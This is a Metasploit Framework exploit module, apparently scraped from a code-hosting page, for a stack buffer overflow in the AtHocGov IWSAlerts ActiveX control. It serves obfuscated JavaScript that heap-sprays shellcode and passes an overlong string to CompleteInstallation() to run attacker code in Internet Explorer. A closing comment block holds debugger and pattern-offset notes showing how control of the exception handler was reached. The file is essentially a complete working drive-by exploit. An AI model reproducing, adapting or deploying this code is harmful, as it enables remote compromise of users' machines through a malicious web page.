156 lines
3.9 KiB
Ruby
156 lines
3.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When
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sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll
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(6.1.4.36) an attacker may be able to execute arbitrary code. This
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vulnerability was silently patched by the vendor.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.athoc.com/products/IWSAlerts_overview.aspx' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
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],
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'DisclosureDate' => 'Feb 15 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
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], self.class)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
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js = %Q|
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try {
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var evil_string = "";
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var index;
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var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');
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var my_unescape = unescape;
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var shellcode = '#{shellcode}';
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#{js_heap_spray}
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sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
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for (index = 0; index < 12500; index++) {
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evil_string = evil_string + my_unescape('#{ret}');
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}
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vulnerable.CompleteInstallation(evil_string);
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} catch( e ) { window.location = 'about:blank' ; }
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opts = {
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'Strings' => true,
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'Symbols' => {
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'Variables' => [
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'vulnerable',
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'shellcode',
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'my_unescape',
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'index',
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'evil_string',
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]
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.update_opts(js_heap_spray.opts)
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js.obfuscate()
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content = %Q|
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<html>
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<body>
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<script><!--
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#{js}
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//</script>
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</body>
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</html>
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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=begin
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IDL info...
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[id(0x00000022)]
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HRESULT CompleteInstallation([in] BSTR strParam);
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$~/trunk/./msfpescan -f AtHocGovTBr.dll
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AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165]
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AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159]
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// smash /GS
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$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie
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SecurityCookie 0x4278193c
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// /SafeSEH, not today.
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$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH
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SEHandlerTable 0x42774e40
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SEHandlerCount 0x0000021b
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0:000> !exchain
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0013cae0: ntdll!_except_handler3+0 (7c90ee18)
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CRT scope 0, filter: ntdll!RtlFreeHeap+613 (7c93bec5)
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func: ntdll!RtlFreeHeap+617 (7c93bece)
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0013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944)
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0013dd9c: 61473161
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Invalid exception stack at 47306147
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0:000> !pattern_offset 5140 0x47306147
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[Byakugan] Control of 0x47306147 at offset 4680.
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0:000> !pattern_offset 5140 0x61473161
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[Byakugan] Control of 0x61473161 at offset 4684.
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=end
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